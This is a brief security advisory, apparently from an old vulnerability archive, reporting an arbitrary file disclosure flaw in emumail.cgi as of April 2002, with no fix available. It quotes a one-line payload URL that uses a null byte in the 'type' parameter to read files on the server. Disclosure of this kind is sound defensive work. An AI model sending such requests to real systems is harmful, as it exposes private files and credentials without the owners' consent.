COMMAND

	emumail.cgi abitrary file disclosure

SYSTEMS AFFECTED

	emumail.cgi as of 05 April 2002

PROBLEM

	acidneo says :
	

	Any user can view files on the remote system:
	

	xxx/PATH/emumail.cgi?type=FILE%00

	

SOLUTION

	None yet.